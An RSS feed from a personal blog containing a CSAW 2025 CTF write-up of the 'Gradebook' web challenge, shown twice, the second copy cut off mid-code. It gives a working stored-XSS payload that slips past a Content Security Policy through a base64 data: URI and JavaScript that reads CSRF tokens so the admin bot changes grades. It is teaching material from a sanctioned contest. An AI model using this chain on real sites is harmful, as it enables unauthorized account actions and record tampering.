<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>XSRF &amp;mdash; Vance&#39;s Notes</title>
    <link>https://blog.ylhuang.com/tag:XSRF</link>
    <description>🔗 https://vance.ylhuang.com/</description>
    <pubDate>Fri, 08 May 2026 14:22:17 +0200</pubDate>
    <item>
      <title>CSAW 2025 CTF Qualifiers</title>
      <link>https://blog.ylhuang.com/csaw-2025-ctf-qualifiers</link>
      <description>&lt;![CDATA[Between September 13th, 2025 and September 14th, 2025, I participated in CSAW 2025 Qualifiers together with the Kernel Sanders #CTF team at the University of Florida (#UF). The CTF lasted over a period of 48 hours.&#xA;&#xA;This time, I solved one challenge: Gradebook.&#xA;&#xA;Gradebook&#xA;This is a #web challenge. Web challenges generally contain some type of vulnerable website. We are presented with the following challenge description and URLs:&#xA;It&#39;s the end of the semester and teachers are requesting class feedback per usual! Can you find a way to game the gradebook and get all A&#39;s?&#xA;&#xA;https://gradebook-app.ctf.csaw.io/login&#xA;https://gradebook-admin.ctf.csaw.io/&#xA;&#xA;The first thing I notice is that we are given an admin bot. This means that the exploit likely has to do with something client-side, probably #XSS (cross site scripting) or #CSRF (cross-site request forgery), also known as #XSRF.&#xA;&#xA;We are also given the source code of the website, as a ZIP file called dist.zip.&#xA;&#xA;Opening up dist.zip, we find that it&#39;s a web app written in Flask. Flask is a web application framework written in Python. Luckily, I&#39;m quite familiar with #Python, so this challenge might be doable.&#xA;&#xA;We can see from the provided source code that, once we are able to log in as a student account, we can send a GET request to the /honor-roll-certificate endpoint to get the flag. But we need to have all A&#39;s in the gradebook first. Here&#39;s the relevant code from app.py:&#xA;@app.route(&#39;/honor-roll-certificate&#39;, methods=[&#39;GET&#39;])&#xA;def honorroll():&#xA;    if &#39;userid&#39; not in session:&#xA;        return redirect(urlfor(&#39;login&#39;))&#xA;    &#xA;    userid = session[&#39;userid&#39;]&#xA;    usertype = session[&#39;usertype&#39;]&#xA;&#xA;    if usertype == &#39;student&#39;:&#xA;        student = Student.query.getor404(userid)&#xA;        &#xA;        studentlettergrades = [enrollment.grade for enrollment in student.enrollments]&#xA;        if all(grade==&#34;A&#34; for grade in studentlettergrades):&#xA;            return rendertemplatestring(&#34;csawctf{testing-flag}&#34;)&#xA;&#xA;        return rendertemplatestring(f&#34;html{studentlettergrades}/html&#34;)&#xA;    else:&#xA;        return redirect(urlfor(&#39;dashboard&#39;, userid=session[&#39;userid&#39;]))&#xA;&#xA;We also notice the /grade-change endpoint, which we need to make a request to in order to change our grades. Let&#39;s make an account and get started!&#xA;&#xA;When we visit the webpage https://gradebook-app.ctf.csaw.io/login, we&#39;re invited to log in. We notice that the login page allows us to register an account.&#xA;&#xA;The login page for the challenge&#xA;&#xA;We register an account with the username abc and password password1234. Upon logging in, it seems like we have not studied very well in classes! We only have one A in Calculus I! It seems like the grades are randomized for every created account, but that doesn&#39;t really matter.&#xA;&#xA;Our bad grades&#xA;&#xA;Attempting to visit the /honor-roll-certificate endpoint now only yields our grades and not the flag.&#xA;&#xA;No flag for us&#xA;&#xA;Back in the source code, going to dist/app/templates/dashboard.html reveals that user input in the feedback textarea elements is not sanitized. We can tell because the |safe flag is present. This tells Flask not to escape any HTML that it receives.&#xA;textarea name=&#34;comment{{ element.enrollmentid }}&#34; placeholder=&#34;Optional comment...&#34;{{ element.feedbackcomment|safe or &#39;&#39; }}/textarea&#xA;&#xA;Back in Python, we notice that a Content-Security-Policy header is also sent. It contains the following values:&#xA;default-src &#39;none&#39;; script-src &#39;self&#39; data:; style-src &#39;self&#39; &#39;unsafe-inline&#39;; img-src ; font-src ; connect-src &#39;self&#39;; object-src &#39;none&#39;; media-src &#39;none&#39;; frame-src &#39;none&#39;; worker-src &#39;none&#39;; manifest-src &#39;none&#39;; base-uri &#39;self&#39;; form-action &#39;self&#39;;&#xA;&#xA;What we&#39;re interested in is script-src &#39;self&#39; data:. This means that scripts either have to be loaded from a URI that starts with https://gradebook-app.ctf.csaw.io/ or through a data: URI. In order to embed a script in a data: URI, the following code may be used:&#xA;script src=&#34;data:text/javascript;base64,YWxlcnQoMCk=&#34;/script&#xA;&#xA;Let&#39;s break the above down, as it might seem a little opaque. &#xA;&#xA; script src=&#34;ORIGIN&#34;/script indicates that you want to load JavaScript code from the origin ORIGIN. ORIGIN is most commonly a website such as https://website.example/assets/script.js, but it can also be a URI starting with data:.&#xA; data: indicates that there is some binary data coming up. Rather than pointing to a remote location on the Internet, all information about the script to be loaded will be contained within the URI itself.&#xA; text/javascript indicates to the browser the type of data that the URI contains. In this case, it indicates that the URI contains JavaScript code. You might also see text/plain here. These are known as MIME types and are standardized. You can see some other common MIME types here.&#xA; base64 indicates that the data will be encoded using Base64. This allows arbitrary binary data to be represented using ASCII text. It essentially makes unstructured binary data well-behaved.&#xA; YWxlcnQoMCk= is the Base64-encoded data.&#xA;&#xA;Now, how did we obtain the encoded data? There are free Base64 encoders and decoders available online. We simply used one of those to convert our desired payload,&#xA;alert(0)&#xA;into its Base64 representation&#xA;YWxlcnQoMCk=&#xA;&#xA;The payload alert(0) simply pops up an alert dialog with the content 0. It&#39;s a simple way to verify the presence of cross-site scripting (XSS) vulnerabilities. We need to properly close the textarea tag in order to make sure our payload properly executes. We also reopen the textarea tag so all the HTML is valid. So our final payload is&#xA;/textareascript src=&#34;data:text/javascript;base64,YWxlcnQoMCk=&#34;/script/scripttextarea&#xA;&#xA;Now let&#39;s plug that into the webpage as our comment and see what happens.&#xA;&#xA;Payload is ready to be launched&#xA;&#xA;We notice that an alert window pops up. This means we were successful in our XSS!&#xA;&#xA;Mission succeeded&#xA;&#xA;Let&#39;s take another look at the Content Security Policy:&#xA;default-src &#39;none&#39;; script-src &#39;self&#39; data:; style-src &#39;self&#39; &#39;unsafe-inline&#39;; img-src ; font-src ; connect-src &#39;self&#39;; object-src &#39;none&#39;; media-src &#39;none&#39;; frame-src &#39;none&#39;; worker-src &#39;none&#39;; manifest-src &#39;none&#39;; base-uri &#39;self&#39;; form-action &#39;self&#39;;&#xA;&#xA;We notice that it contains connect-src &#39;self&#39;;. This means that we can perform JavaScript XMLHttpRequests to this website. This means that we might be able to force the admin bot to change our grade. The /grade-change endpoint has some security features in place to prevent this though: it contains a CSRF token. When a GET request is made to the endpoint, the website comes with a form field pre-populated with a token that needs to be submitted back to the website. If it is not submitted, the request fails.&#xA;&#xA;Here&#39;s the plan to get our grade changed:&#xA;&#xA;Make a GET request to the /grade-change endpoint.&#xA;Extract the CSRF token to use in our request.&#xA;Pass the CSRF token together with our student ID and class IDs in a POST request to the /grade-change endpoint.&#xA;&#xA;We recall that our student ID is contained in the URL to our dashboard (https://gradebook-app.ctf.csaw.io/dashboard/55c9057c-b99d-48f7-81aa-79d0cd9c4838). We also recall that our dashboard contains the class IDs that we want our grades changed for. &#xA;&#xA;First, we define an array containing the class IDs for which we need to get our grades changed. We also define a variable definining what class we&#39;re currently on, which will be important later.&#xA;var classIds = [&#34;1053696f-2f06-4882-b226-07b6cb5de4d6&#34;, &#34;175b650e-010b-41a2-b04e-83b75f6e3009&#34;, &#34;f395d3ed-b5e3-4bd3-93fc-93a366d9e545&#34;, &#34;4cc6efef-d95a-41b4-8c56-9579f654e881&#34;];&#xA;&#xA;var currentClassId = 0;&#xA;&#xA;Next, we loop over all the class IDs in the array, performing a GET request to the /grade-change endpoint for each class ID. We also add a reqListener so we can handle the response.&#xA;for (; currentClassId &lt; classIds.length; currentClassId++) {&#xA;  const req = new XMLHttpRequest();&#xA;  req.addEventListener(&#34;load&#34;, reqListener);&#xA;  req.open(&#34;GET&#34;, &#34;/grade-change&#34;, false);&#xA;  req.send();&#xA;}&#xA;&#xA;Finally, after getting the response from /grade-change endpoint, we extract the CSRF token. Because of how JavaScript works, this needs to be done in a callback function defined before the XMLHttpRequest that we&#39;re making. Our plan is to create a dummy HTML tag, then use built-in DOM parsing functions to get the tag we want.&#xA;&#xA;Taking a look at dist/app/templates/grade-change.html, we find that the CSRF token is stored inside the first input tag in the HTML. Let&#39;s now write the code to parse the HTML.&#xA;function reqListener() {&#xA;  let responseHtml = this.responseText;&#xA;  let root = document.createElement( &#39;html&#39; );&#xA;  root.innerHTML = responseHtml;&#xA;  let inputs = root.getElementsByTagName(&#34;input&#34;);&#xA;  &#xA;  let csrfToken = &#34;&#34;;&#xA;  for (let i=0; i&lt;inputs.length; i++) {&#xA;    csrfToken = inputs[i].value;&#xA;&#x9;break;&#xA;  }&#xA;  console.log(csrfToken);&#xA;}&#xA;&#xA;Finally, we need to use the CSRF token to make the POST request to the /grade-change endpoint. We pass our newly-obtained CSRF token in and make sure our grade is set to A. We also grab our student ID from the /dashboard URL. Our student ID is 55c9057c-b99d-48f7-81aa-79d0cd9c4838.&#xA;function reqListener() {&#xA;  let responseHtml = this.responseText;&#xA;  let root = document.createElement( &#39;html&#39; );&#xA;  root.innerHTML = responseHtml;&#xA;  let inputs = root.getElementsByTagName(&#34;input&#34;);&#xA;  &#xA;  let csrfToken = &#34;&#34;;&#xA;  for (let i=0; i&lt;inputs.length; i++) {&#xA;    csrfToken = inputs[i].value;&#xA;&#x9;break;&#xA;  }&#xA;  console.log(csrfToken);&#xA;  &#xA;  const req = new XMLHttpRequest();&#xA;  req.open(&#34;POST&#34;, &#34;/grade-change&#34;);&#xA;  req.setRequestHeader(&#39;Content-type&#39;, &#39;application/x-www-form-urlencoded&#39;);&#xA;  req.send(&#34;grade=A&amp;studentid=55c9057c-b99d-48f7-81aa-79d0cd9c4838&amp;classid=&#34; + classIds[currentClassId] + &#34;&amp;csrftoken=&#34; + csrfToken);&#xA;}&#xA;&#xA;Our final payload is&#xA;var classIds = [&#34;1053696f-2f06-4882-b226-07b6cb5de4d6&#34;, &#34;175b650e-010b-41a2-b04e-83b75f6e3009&#34;, &#34;f395d3ed-b5e3-4bd3-93fc-93a366d9e545&#34;, &#34;4cc6efef-d95a-41b4-8c56-9579f654e881&#34;];&#xA;&#xA;var currentClassId = 0;&#xA;&#xA;function reqListener() {&#xA;  let responseHtml = this.responseText;&#xA;  let root = document.createElement( &#39;html&#39; );&#xA;  root.innerHTML = responseHtml;&#xA;  let inputs = root.getElementsByTagName(&#34;input&#34;);&#xA;  &#xA;  let csrfToken = &#34;&#34;;&#xA;  for (let i=0; i&lt;inputs.length; i++) {&#xA;    csrfToken = inputs[i].value;&#xA;&#x9;break;&#xA;  }&#xA;  console.log(csrfToken);&#xA;  &#xA;  const req = new XMLHttpRequest();&#xA;  req.open(&#34;POST&#34;, &#34;/grade-change&#34;);&#xA;  req.setRequestHeader(&#39;Content-type&#39;, &#39;application/x-www-form-urlencoded&#39;);&#xA;  req.send(&#34;grade=A&amp;studentid=55c9057c-b99d-48f7-81aa-79d0cd9c4838&amp;classid=&#34; + classIds[currentClassId] + &#34;&amp;csrftoken=&#34; + csrfToken);&#xA;}&#xA;&#xA;for (; currentClassId &lt; classIds.length; currentClassId++) {&#xA;  const req = new XMLHttpRequest();&#xA;  req.addEventListener(&#34;load&#34;, reqListener);&#xA;  req.open(&#34;GET&#34;, &#34;/grade-change&#34;, false);&#xA;  req.send();&#xA;}&#xA;&#xA;There&#39;s one last step: we need to Base64 encode this payload. After performing this step, we get&#xA;dmFyIGNsYXNzSWRzID0gWyIxMDUzNjk2Zi0yZjA2LTQ4ODItYjIyNi0wN2I2Y2I1ZGU0ZDYiLCAiMTc1YjY1MGUtMDEwYi00MWEyLWIwNGUtODNiNzVmNmUzMDA5IiwgImYzOTVkM2VkLWI1ZTMtNGJkMy05M2ZjLTkzYTM2NmQ5ZTU0NSIsICI0Y2M2ZWZlZi1kOTVhLTQxYjQtOGM1Ni05NTc5ZjY1NGU4ODEiXTsKCnZhciBjdXJyZW50Q2xhc3NJZCA9IDA7CgpmdW5jdGlvbiByZXFMaXN0ZW5lcigpIHsKICBsZXQgcmVzcG9uc2VIdG1sID0gdGhpcy5yZXNwb25zZVRleHQ7CiAgbGV0IHJvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCAnaHRtbCcgKTsKICByb290LmlubmVySFRNTCA9IHJlc3BvbnNlSHRtbDsKICBsZXQgaW5wdXRzID0gcm9vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaW5wdXQiKTsKICAKICBsZXQgY3NyZlRva2VuID0gIiI7CiAgZm9yIChsZXQgaT0wOyBpPGlucHV0cy5sZW5ndGg7IGkrKykgewogICAgY3NyZlRva2VuID0gaW5wdXRzW2ldLnZhbHVlOwoJYnJlYWs7CiAgfQogIGNvbnNvbGUubG9nKGNzcmZUb2tlbik7CiAgCiAgY29uc3QgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgcmVxLm9wZW4oIlBPU1QiLCAiL2dyYWRlLWNoYW5nZSIpOwogIHJlcS5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LXR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7CiAgcmVxLnNlbmQoImdyYWRlPUEmc3R1ZGVudF9pZD01NWM5MDU3Yy1iOTlkLTQ4ZjctODFhYS03OWQwY2Q5YzQ4MzgmY2xhc3NfaWQ9IiArIGNsYXNzSWRzW2N1cnJlbnRDbGFzc0lkXSArICImY3NyZl90b2tlbj0iICsgY3NyZlRva2VuKTsKfQoKZm9yICg7IGN1cnJlbnRDbGFzc0lkIDwgY2xhc3NJZHMubGVuZ3RoOyBjdXJyZW50Q2xhc3NJZCsrKSB7CiAgY29uc3QgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgcmVxLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCByZXFMaXN0ZW5lcik7CiAgcmVxLm9wZW4oIkdFVCIsICIvZ3JhZGUtY2hhbmdlIiwgZmFsc2UpOwogIHJlcS5zZW5kKCk7Cn0=&#xA;&#xA;Finally, we can plug this Base64-encoded string into our XSS payload from earlier to yield the final payload of&#xA;/textareascript src=&#34;data:text/javascript;base64,dmFyIGNsYXNzSWRzID0gWyIxMDUzNjk2Zi0yZjA2LTQ4ODItYjIyNi0wN2I2Y2I1ZGU0ZDYiLCAiMTc1YjY1MGUtMDEwYi00MWEyLWIwNGUtODNiNzVmNmUzMDA5IiwgImYzOTVkM2VkLWI1ZTMtNGJkMy05M2ZjLTkzYTM2NmQ5ZTU0NSIsICI0Y2M2ZWZlZi1kOTVhLTQxYjQtOGM1Ni05NTc5ZjY1NGU4ODEiXTsKCnZhciBjdXJyZW50Q2xhc3NJZCA9IDA7CgpmdW5jdGlvbiByZXFMaXN0ZW5lcigpIHsKICBsZXQgcmVzcG9uc2VIdG1sID0gdGhpcy5yZXNwb25zZVRleHQ7CiAgbGV0IHJvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCAnaHRtbCcgKTsKICByb290LmlubmVySFRNTCA9IHJlc3BvbnNlSHRtbDsKICBsZXQgaW5wdXRzID0gcm9vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaW5wdXQiKTsKICAKICBsZXQgY3NyZlRva2VuID0gIiI7CiAgZm9yIChsZXQgaT0wOyBpPGlucHV0cy5sZW5ndGg7IGkrKykgewogICAgY3NyZlRva2VuID0gaW5wdXRzW2ldLnZhbHVlOwoJYnJlYWs7CiAgfQogIGNvbnNvbGUubG9nKGNzcmZUb2tlbik7CiAgCiAgY29uc3QgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgcmVxLm9wZW4oIlBPU1QiLCAiL2dyYWRlLWNoYW5nZSIpOwogIHJlcS5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LXR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7CiAgcmVxLnNlbmQoImdyYWRlPUEmc3R1ZGVudF9pZD01NWM5MDU3Yy1iOTlkLTQ4ZjctODFhYS03OWQwY2Q5YzQ4MzgmY2xhc3NfaWQ9IiArIGNsYXNzSWRzW2N1cnJlbnRDbGFzc0lkXSArICImY3NyZl90b2tlbj0iICsgY3NyZlRva2VuKTsKfQoKZm9yICg7IGN1cnJlbnRDbGFzc0lkIDwgY2xhc3NJZHMubGVuZ3RoOyBjdXJyZW50Q2xhc3NJZCsrKSB7CiAgY29uc3QgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgcmVxLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCByZXFMaXN0ZW5lcik7CiAgcmVxLm9wZW4oIkdFVCIsICIvZ3JhZGUtY2hhbmdlIiwgZmFsc2UpOwogIHJlcS5zZW5kKCk7Cn0=&#34;/script/scripttextarea&#xA;&#xA;Let&#39;s paste that into the textbox and see how the server responds! Note that there&#39;s an extra textbox because our payload puts an extra textarea tag in to ensure that the resulting HTML is valid. The second textbox doesn&#39;t really do anything. We could just as well have hid it with style=&#34;display:none&#34; if we wanted to.&#xA;&#xA;Our final payload&#xA;&#xA;After clicking &#34;Submit Ratings &amp; Comments&#34;, nothing happens to our grade. But that&#39;s because we&#39;re not an admin yet. We&#39;ll need to get the admin bot to visit this page. To do this, we visit the admin bot URL given in the challenge, https://gradebook-admin.ctf.csaw.io/, and paste our URL https://gradebook-app.ctf.csaw.io/dashboard/55c9057c-b99d-48f7-81aa-79d0cd9c4838 in.&#xA;&#xA;Visiting our page with the admin bot&#xA;&#xA;After reloading our student dashboard, we notice that we now have straight A&#39;s!&#xA;&#xA;A perfect report card&#xA;&#xA;Now, we visit https://gradebook-app.ctf.csaw.io/honor-roll-certificate to get the flag.&#xA;&#xA;A perfect report card&#xA;&#xA;The flag is&#xA;csawctf{y0um@detheh@ckingh0n0rr0ll}&#xA;&#xA;Revision 1 (2025-09-15): Fix images not loading properly.&#xA;&#xA;Questions or suggestions? Reach out to me at vance.ylhuang.com!]]&gt;</description>
      <content:encoded><![CDATA[<p>Between September 13th, 2025 and September 14th, 2025, I participated in CSAW 2025 Qualifiers together with the Kernel Sanders <a href="https://blog.ylhuang.com/tag:CTF" class="hashtag"><span>#</span><span class="p-category">CTF</span></a> team at the University of Florida (<a href="https://blog.ylhuang.com/tag:UF" class="hashtag"><span>#</span><span class="p-category">UF</span></a>). The CTF lasted over a period of 48 hours.</p>

<p>This time, I solved one challenge: <code>Gradebook</code>.</p>

<h2 id="gradebook" id="gradebook">Gradebook</h2>

<p>This is a <a href="https://blog.ylhuang.com/tag:web" class="hashtag"><span>#</span><span class="p-category">web</span></a> challenge. Web challenges generally contain some type of vulnerable website. We are presented with the following challenge description and URLs:</p>

<pre><code>It&#39;s the end of the semester and teachers are requesting class feedback per usual! Can you find a way to game the gradebook and get all A&#39;s?
</code></pre>

<p><a href="https://gradebook-app.ctf.csaw.io/login">https://gradebook-app.ctf.csaw.io/login</a>
<a href="https://gradebook-admin.ctf.csaw.io/">https://gradebook-admin.ctf.csaw.io/</a></p>

<p>The first thing I notice is that we are given an admin bot. This means that the exploit likely has to do with something client-side, probably <a href="https://blog.ylhuang.com/tag:XSS" class="hashtag"><span>#</span><span class="p-category">XSS</span></a> (cross site scripting) or <a href="https://blog.ylhuang.com/tag:CSRF" class="hashtag"><span>#</span><span class="p-category">CSRF</span></a> (cross-site request forgery), also known as <a href="https://blog.ylhuang.com/tag:XSRF" class="hashtag"><span>#</span><span class="p-category">XSRF</span></a>.</p>

<p>We are also given the source code of the website, as a ZIP file called <code>dist.zip</code>.</p>

<p>Opening up <code>dist.zip</code>, we find that it&#39;s a web app written in Flask. Flask is a web application framework written in Python. Luckily, I&#39;m quite familiar with <a href="https://blog.ylhuang.com/tag:Python" class="hashtag"><span>#</span><span class="p-category">Python</span></a>, so this challenge might be doable.</p>

<p>We can see from the provided source code that, once we are able to log in as a student account, we can send a GET request to the <code>/honor-roll-certificate</code> endpoint to get the flag. But we need to have all A&#39;s in the gradebook first. Here&#39;s the relevant code from <code>app.py</code>:</p>

<pre><code class="language-python">@app.route(&#39;/honor-roll-certificate&#39;, methods=[&#39;GET&#39;])
def honor_roll():
    if &#39;user_id&#39; not in session:
        return redirect(url_for(&#39;login&#39;))
    
    user_id = session[&#39;user_id&#39;]
    user_type = session[&#39;user_type&#39;]

    if user_type == &#39;student&#39;:
        student = Student.query.get_or_404(user_id)
        
        student_letter_grades = [enrollment.grade for enrollment in student.enrollments]
        if all(grade==&#34;A&#34; for grade in student_letter_grades):
            return render_template_string(&#34;csawctf{testing-flag}&#34;)

        return render_template_string(f&#34;&lt;html&gt;{student_letter_grades}&lt;/html&gt;&#34;)
    else:
        return redirect(url_for(&#39;dashboard&#39;, user_id=session[&#39;user_id&#39;]))
</code></pre>

<p>We also notice the <code>/grade-change</code> endpoint, which we need to make a request to in order to change our grades. Let&#39;s make an account and get started!</p>

<p>When we visit the webpage <a href="https://gradebook-app.ctf.csaw.io/login">https://gradebook-app.ctf.csaw.io/login</a>, we&#39;re invited to log in. We notice that the login page allows us to register an account.</p>

<p><img src="https://images.ylhuang.com/20250913-csawctf/01-login.png" alt="The login page for the challenge"></p>

<p>We register an account with the username <code>abc</code> and password <code>password1234</code>. Upon logging in, it seems like we have not studied very well in classes! We only have one A in Calculus I! It seems like the grades are randomized for every created account, but that doesn&#39;t really matter.</p>

<p><img src="https://images.ylhuang.com/20250913-csawctf/02-badgrades.png" alt="Our bad grades"></p>

<p>Attempting to visit the <a href="https://gradebook-app.ctf.csaw.io/honor-roll-certificate">/honor-roll-certificate</a> endpoint now only yields our grades and not the flag.</p>

<p><img src="https://images.ylhuang.com/20250913-csawctf/03-noflag.png" alt="No flag for us"></p>

<p>Back in the source code, going to <code>dist/app/templates/dashboard.html</code> reveals that user input in the feedback <code>&lt;textarea&gt;</code> elements is not sanitized. We can tell because the <code>|safe</code> flag is present. This tells Flask not to escape any HTML that it receives.</p>

<pre><code class="language-html">&lt;textarea name=&#34;comment_{{ element.enrollment_id }}&#34; placeholder=&#34;Optional comment...&#34;&gt;{{ element.feedback_comment|safe or &#39;&#39; }}&lt;/textarea&gt;
</code></pre>

<p>Back in Python, we notice that a <code>Content-Security-Policy</code> header is also sent. It contains the following values:</p>

<pre><code>default-src &#39;none&#39;; script-src &#39;self&#39; data:; style-src &#39;self&#39; &#39;unsafe-inline&#39;; img-src *; font-src *; connect-src &#39;self&#39;; object-src &#39;none&#39;; media-src &#39;none&#39;; frame-src &#39;none&#39;; worker-src &#39;none&#39;; manifest-src &#39;none&#39;; base-uri &#39;self&#39;; form-action &#39;self&#39;;
</code></pre>

<p>What we&#39;re interested in is <code>script-src &#39;self&#39; data:</code>. This means that scripts either have to be loaded from a URI that starts with <code>https://gradebook-app.ctf.csaw.io/</code> or through a <code>data:</code> URI. In order to embed a script in a <code>data:</code> URI, the following code may be used:</p>

<pre><code class="language-html">&lt;script src=&#34;data:text/javascript;base64,YWxlcnQoMCk=&#34;&gt;&lt;/script&gt;
</code></pre>

<p>Let&#39;s break the above down, as it might seem a little opaque.</p>
<ul><li><code>&lt;script src=&#34;ORIGIN&#34;&gt;&lt;/script&gt;</code> indicates that you want to load JavaScript code from the origin <code>ORIGIN</code>. <code>ORIGIN</code> is most commonly a website such as <code>https://website.example/assets/script.js</code>, but it can also be a URI starting with <code>data:</code>.</li>
<li><code>data:</code> indicates that there is some binary data coming up. Rather than pointing to a remote location on the Internet, all information about the script to be loaded will be contained within the URI itself.</li>
<li><code>text/javascript</code> indicates to the browser the type of data that the URI contains. In this case, it indicates that the URI contains JavaScript code. You might also see <code>text/plain</code> here. These are known as MIME types and are standardized. You can see <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/MIME_types/Common_types">some other common MIME types here</a>.</li>
<li><code>base64</code> indicates that the data will be encoded using <a href="https://en.wikipedia.org/wiki/Base64">Base64</a>. This allows arbitrary binary data to be represented using ASCII text. It essentially makes unstructured binary data well-behaved.</li>
<li><code>YWxlcnQoMCk=</code> is the Base64-encoded data.</li></ul>

<p>Now, how did we obtain the encoded data? There are <a href="https://www.base64encode.org/">free Base64 encoders and decoders available online</a>. We simply used one of those to convert our desired payload,</p>

<pre><code class="language-javascript">alert(0)
</code></pre>

<p>into its Base64 representation</p>

<pre><code>YWxlcnQoMCk=
</code></pre>

<p>The payload <code>alert(0)</code> simply pops up an alert dialog with the content <code>0</code>. It&#39;s a simple way to verify the presence of cross-site scripting (XSS) vulnerabilities. We need to properly close the <code>&lt;textarea&gt;</code> tag in order to make sure our payload properly executes. We also reopen the <code>&lt;textarea&gt;</code> tag so all the HTML is valid. So our final payload is</p>

<pre><code class="language-html">&lt;/textarea&gt;&lt;script src=&#34;data:text/javascript;base64,YWxlcnQoMCk=&#34;&gt;&lt;/script&gt;&lt;/script&gt;&lt;textarea&gt;
</code></pre>

<p>Now let&#39;s plug that into the webpage as our comment and see what happens.</p>

<p><img src="https://images.ylhuang.com/20250913-csawctf/04-payload-inserted.png" alt="Payload is ready to be launched"></p>

<p>We notice that an alert window pops up. This means we were successful in our XSS!</p>

<p><img src="https://images.ylhuang.com/20250913-csawctf/05-xss-success.png" alt="Mission succeeded"></p>

<p>Let&#39;s take another look at the Content Security Policy:</p>

<pre><code>default-src &#39;none&#39;; script-src &#39;self&#39; data:; style-src &#39;self&#39; &#39;unsafe-inline&#39;; img-src *; font-src *; connect-src &#39;self&#39;; object-src &#39;none&#39;; media-src &#39;none&#39;; frame-src &#39;none&#39;; worker-src &#39;none&#39;; manifest-src &#39;none&#39;; base-uri &#39;self&#39;; form-action &#39;self&#39;;
</code></pre>

<p>We notice that it contains <code>connect-src &#39;self&#39;;</code>. This means that we can perform JavaScript XMLHttpRequests to this website. This means that we might be able to force the admin bot to change our grade. The <code>/grade-change</code> endpoint has some security features in place to prevent this though: it contains a CSRF token. When a GET request is made to the endpoint, the website comes with a form field pre-populated with a token that needs to be submitted back to the website. If it is not submitted, the request fails.</p>

<p>Here&#39;s the plan to get our grade changed:</p>
<ol><li>Make a <code>GET</code> request to the <code>/grade-change</code> endpoint.</li>
<li>Extract the CSRF token to use in our request.</li>
<li>Pass the CSRF token together with our student ID and class IDs in a <code>POST</code> request to the <code>/grade-change</code> endpoint.</li></ol>

<p>We recall that our student ID is contained in the URL to our dashboard (<a href="https://gradebook-app.ctf.csaw.io/dashboard/55c9057c-b99d-48f7-81aa-79d0cd9c4838">https://gradebook-app.ctf.csaw.io/dashboard/55c9057c-b99d-48f7-81aa-79d0cd9c4838</a>). We also recall that our dashboard contains the class IDs that we want our grades changed for.</p>

<p>First, we define an array containing the class IDs for which we need to get our grades changed. We also define a variable definining what class we&#39;re currently on, which will be important later.</p>

<pre><code class="language-javascript">var classIds = [&#34;1053696f-2f06-4882-b226-07b6cb5de4d6&#34;, &#34;175b650e-010b-41a2-b04e-83b75f6e3009&#34;, &#34;f395d3ed-b5e3-4bd3-93fc-93a366d9e545&#34;, &#34;4cc6efef-d95a-41b4-8c56-9579f654e881&#34;];

var currentClassId = 0;
</code></pre>

<p>Next, we loop over all the class IDs in the array, performing a <code>GET</code> request to the <code>/grade-change</code> endpoint for each class ID. We also add a reqListener so we can handle the response.</p>

<pre><code class="language-javascript">for (; currentClassId &lt; classIds.length; currentClassId++) {
  const req = new XMLHttpRequest();
  req.addEventListener(&#34;load&#34;, reqListener);
  req.open(&#34;GET&#34;, &#34;/grade-change&#34;, false);
  req.send();
}
</code></pre>

<p>Finally, after getting the response from <code>/grade-change</code> endpoint, we extract the CSRF token. Because of how JavaScript works, this needs to be done in a callback function defined <strong>before</strong> the <code>XMLHttpRequest</code> that we&#39;re making. Our plan is to create a dummy HTML tag, then use built-in DOM parsing functions to get the tag we want.</p>

<p>Taking a look at <code>dist/app/templates/grade-change.html</code>, we find that the CSRF token is stored inside the first <code>&lt;input&gt;</code> tag in the HTML. Let&#39;s now write the code to parse the HTML.</p>

<pre><code class="language-javascript">function reqListener() {
  let responseHtml = this.responseText;
  let root = document.createElement( &#39;html&#39; );
  root.innerHTML = responseHtml;
  let inputs = root.getElementsByTagName(&#34;input&#34;);
  
  let csrfToken = &#34;&#34;;
  for (let i=0; i&lt;inputs.length; i++) {
    csrfToken = inputs[i].value;
	break;
  }
  console.log(csrfToken);
}
</code></pre>

<p>Finally, we need to use the CSRF token to make the <code>POST</code> request to the <code>/grade-change</code> endpoint. We pass our newly-obtained CSRF token in and make sure our grade is set to A. We also grab our student ID from the <code>/dashboard</code> URL. Our student ID is <code>55c9057c-b99d-48f7-81aa-79d0cd9c4838</code>.</p>

<pre><code class="language-javascript">function reqListener() {
  let responseHtml = this.responseText;
  let root = document.createElement( &#39;html&#39; );
  root.innerHTML = responseHtml;
  let inputs = root.getElementsByTagName(&#34;input&#34;);
  
  let csrfToken = &#34;&#34;;
  for (let i=0; i&lt;inputs.length; i++) {
    csrfToken = inputs[i].value;
	break;
  }
  console.log(csrfToken);
  
  const req = new XMLHttpRequest();
  req.open(&#34;POST&#34;, &#34;/grade-change&#34;);
  req.setRequestHeader(&#39;Content-type&#39;, &#39;application/x-www-form-urlencoded&#39;);
  req.send(&#34;grade=A&amp;student_id=55c9057c-b99d-48f7-81aa-79d0cd9c4838&amp;class_id=&#34; + classIds[currentClassId] + &#34;&amp;csrf_token=&#34; + csrfToken);
}
</code></pre>

<p>Our final payload is</p>

<pre><code class="language-javascript">var classIds = [&#34;1053696f-2f06-4882-b226-07b6cb5de4d6&#34;, &#34;175b650e-010b-41a2-b04e-83b75f6e3009&#34;, &#34;f395d3ed-b5e3-4bd3-93fc-93a366d9e545&#34;, &#34;4cc6efef-d95a-41b4-8c56-9579f654e881&#34;];

var currentClassId = 0;

function reqListener() {
  let responseHtml = this.responseText;
  let root = document.createElement( &#39;html&#39; );
  root.innerHTML = responseHtml;
